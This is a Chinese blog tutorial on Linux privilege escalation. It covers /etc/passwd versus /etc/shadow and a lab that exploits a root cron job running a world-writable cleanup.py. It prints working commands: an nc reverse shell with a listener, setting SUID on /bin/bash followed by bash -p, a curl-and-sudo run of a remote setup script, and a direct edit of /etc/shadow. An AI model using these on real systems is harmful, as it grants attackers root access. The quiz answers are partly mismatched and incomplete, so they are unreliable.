2024全网最全面及最新且最为详细的网络安全技巧 (3-1) 之 linux提权各类技巧
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
3.1 LINUX passwd提权思考
- LINUX 提权思考 dirtypipe 5个字节 poc
利用写入/etc/passwd来提权,也可以写入/etc/shadow来提权。这两个文件究竟有何区别又有何联系呢? - 历史上Linux的前身,一些基于Unix的系统,是没有shadow这个文件的,用户密码的哈希就保存在/etc/passwd的第二个字段。但是/etc/passwd是全局可读的文件,用户的哈希可能被其他用户所读取,所以后来衍生出了/etc/shadow文件。
- 自此之后,/etc/passwd的第二列通常设置为x,表示用户密码保存在/etc/shadow中,而/etc/shadow文件只有root用户可以读取和写入,这样就保护了密码哈希不能被第三方爆破。
- /etc/shadow里面保存的信息和/etc/passwd不太一样:这两个文件的第一列和第二列都是用户名和密码,但/etc/shadow的第三列以后主要保存着密码策略,比如密码上次修改的时间、密码过期的时间、密码过期后多久禁用账户等等。
/etc/shadow的第二列也可以是*或!,这代表这个用户是无密码的(也就是不允许通过密码登录)。无密码不等于空密码,如果你想设置一个用户密码是空字符串,那就把第二列留空即可。
现在我考考大家几个问题:
-
我将passwd和shadow中,root用户的第二列(密码字段)修改成两个不同的哈希值,那么登录Linux的时候以哪个为准?
-
如果我是root,我是否可以通过写入/etc/shadow来增加一个新的root用户?
-
在Ubuntu中,root用户无法直接登录,但普通ubuntu用户可以通过sudo命令来使用root权限。我如何不借助passwd等修改密码的命令来给root用户增加一个密码?
-
如果一个用户名在/etc/passwd里存在,而/etc/shadow里不存在,这个用户是否
- 还可以正常登录?(答案在文末)
3.2 Linux 提权之 CronJobs 提权
实验介绍
本实验主要介绍什么是 Cron Jobs 和 Cron 语法,通过实验帮助你快速掌握 crontab 的使用方法,然后进一步通过实验理解如何利用 crontab 的不正确配置进行 Linux 提权。
什么是 Cron Jobs
- crontab 语法
- crontab 执行脚本内容覆盖提权
什么是 Cron 定时任务
- Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,
- 因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。
- CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具
- 但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。
crontab 命令使用语法如下:
- 其中
user
是可选的,若不指定用户,则使用当前用户的权限指定。 - 需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
- 举个例子:
- 如果我们想实现每小时输出一次 Apache 报错日志,可以使用如下语句:
0 * * * * echo /var/log/lastlog
- 因为
小时
、天
、月
、周
都被设定为*
,因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。 - 那如果需要每两小时的第 15 分钟执行一次命令,应该如何实现呢?
- 我们只需要做一个简单的修改就可以了:
15 */2 * * * echo /var/log/lastlog
下面我们通过一个示例来理解一下cron
的用法。
先执行如下命令初始化实验环境:
我们的实验目标如下:
- 通过 crontab 添加一个定时任务,每 1 分钟通过调用 cleanup.py 脚本清除 ~trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单,通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录:
接下来使用如下命令在 crontab 中添加一条定时任务:
sudo vim /etc/crontab
* * * * * root python /home/shiyanlou/cleanup.py
- 由于我们的实验机器上 cron 服务默认是关闭的,所以我们需要手动使用下列命令开启 cron 服务
sudo service cron start
- 接下来我们进入 ~/trashDirectory 目录,使用 ls 命令查看文件夹下的文件:
- 可以看到,大概一分钟后
~/trashDirectory
文件夹下数据被清空,说明 cron jobs 正常执行。 -
至此,我想大家应该已经理解了 cron 的基本用法,那么下面我们就开始学习如何通过 Cron Jobs 提权。
-
通过重写 crontab 调用脚本提权
首先执行如下命令以初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh
-
如上图所示,此时我们已经切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),我们需要想办法提权到 root 权限。
-
使用如下命令查看主机上的计划任务:
cat /etc/crontab;
-
有一条定时任务引起了我们注意:系统每分钟执行一个 ~/cleanup.py 脚本,并且是以 root 用户的权限运行。
-
我们查看一下 ~
/cleanup.py
脚本文件的内容:cat /home/shiyanlou/cleanup.py
- 1
-
发现是一个定时清理目录的任务。
-
接下来我们再查看该脚本的权限:
ls -al /home/shiyanlou/cleanup.py
-
发现了吗?
cleanup.py
的文件权限设置存在风险:其他用户也拥有w
权限,这意味着我们可以编辑修改 cleanup.py 的内容! -
由于 cleanup.py 是以 root 权限运行的,因此我们可以利用的提权的方法非常多,下面我们列举两种方法。
-
利用 cleanup.py 反弹 root 权限的 shell
- 修改
cleanup.py
脚本执行的命令为如下命令:# 使用 nc 向本地 4444 端口反弹一个 shell nc 127.0.0.1 4444 -e /bin/bash
然后执行如下命令监听本地的 4444 端口:
nc -lnvp 4444
-
等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。
-
构建 SUID 提权
-
还记得之前我们讲过的 SUID 提权吗?我们也可以通过
cleanup.py
脚本将某些可执行文件修改为 S 权限,这样我们便可以利用它进行 SUID 提权,例如为 bash 添加 S 权限。 -
此时
/bin/bash
是没有 s 权限的:
和之前一样,修改 cleanup.py
脚本执行的命令为如下命令:
chmod +s /bin/bash
稍等一下,查看 /bin/bash
发现已经拥有了 s 权限,所以定时任务成功执行:
- 如上图所示,使用
bash -p
即可获取 root 权限。
-
crontab 通配符注入提权
-
实际渗透测试中,经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景,但是由于通配符注入需要讲的内容还比较多,所以我们会在下一节中给大家介绍这种方法。
-
实验总结
-
本节实验中,我们学习了什么是 Cron Jobs 和 Cron 的使用语法,并通过实验掌握了 crontab 的使用方法,最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。
答案3.1 LINUX passwd提权之课后思考题
- 如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值,登录 Linux 时以 `/etc/shadow` 中的密码字段为准。这是因为 `/etc/shadow` 中存储的密码字段优先级高于 `/etc/passwd` 中的密码字段。系统验证户身份时,会首先检查 `/etc/shadow` 中的密码哈希值。
- 作为 root 用户,你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的密码,但是不建议这样做。更好的做法是使用 `passwd` 命令来修改密码,因为这样会触发密码哈希值的重新计算,并确保密码的安全性。
- 在 Ubuntu 中,root 用户默认是被禁用的,无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加密码而不使用 `passwd` 命令,你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作,例如:
bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow
- 点赞
- 收藏
- 关注作者
评论(0)